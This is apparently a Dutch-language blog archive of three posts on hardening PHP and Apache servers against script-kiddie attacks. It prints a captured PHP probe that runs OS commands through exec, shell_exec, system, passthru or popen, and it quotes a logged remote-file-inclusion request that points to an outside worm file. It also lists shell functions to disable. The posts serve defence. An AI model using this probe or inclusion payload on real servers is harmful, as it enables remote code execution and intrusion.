Tag Archives: php security

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?

Alzo; bannen die handel, met de ‘disable_functions in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …

Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …

Nodig eens een script kiddie uit

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).

Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.

Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.

PHP kan uw gezondheid ernstige schade berokkenen

PHP is krachtig gereedschap. Net als met een goeie cirkelzaag of een stevige voorhamer kun je met PHP veel goeds, maar ook veel slechts doen. Volgende eenvoudige wijzigingen in php.ini zouden je installatie veel veiliger moeten kunnen maken;

  1. Zet “allow_url_fopen” op “off” zodat er met PHP via remote files geen ‘vijandige’ code kan binnengehaald worden.
  2. Maak een aantal functies (vnl. die waarmee commando’s van het OS kunnen uitgevoerd worden, bv. shell_exec, passthru, exec, system, proc_get_status, proc_nice, proc_open, proc_terminate, proc_close) ontoegankelijk met “disable_functions” zodat het vanuit PHP niet mogelijk is om bv. met wget (zoek maar eens in je apache logfiles naar de string ‘wget’) files af te halen (bv. een udp-flooder in perl), naar de /tmp folder te downloaden en daar uit te voeren.
  3. Overweeg “safe_mode” aan te zetten (veel van de vorige beperkingen worden dan automatisch afgedwongen).

Ook op Apache-niveau kun je -in apache.conf of httpd.conf- een en ander dichtspijkeren;

  1. Laad enkel die apache-modules die je echt nodig hebt (meestal bv. geen cgi, proxy, include, ..)
  2. Zet default access-rights op ‘DENY FROM ALL’ en voeg per Directory Allow-rules toe.
  3. Zet default AllowOverride-rechten op ‘none’ en voeg -indien nodig- per Directory laksere rechten toe.
  4. Zet “ServerTokens” op “PROD” en “ServerSignature” op “Off” (zodat het niet onmiddelijk zichtbaar is als je op een oudere versie-met-security-problemen van Apache werkt).
  5. Overweeg de implementatie van mod_security (soort software applicatie-firewall).

Toegang tot krachtige administratieve webapplicaties als phpmyadmin kun je best extra afschermen door in httpd.conf te specifieeren dat toegang standaard verboden is (DENY FROM ALL) en toegestaan vanaf ‘vertrouwde’ internet-adressen (bv. ip-range van bedrijf waar je werkt).

Probeer tenslotte zo weinig mogelijk applicaties te installeren; elke applicatie vermindert de veiligheid van het hele systeem weer een klein beetje ..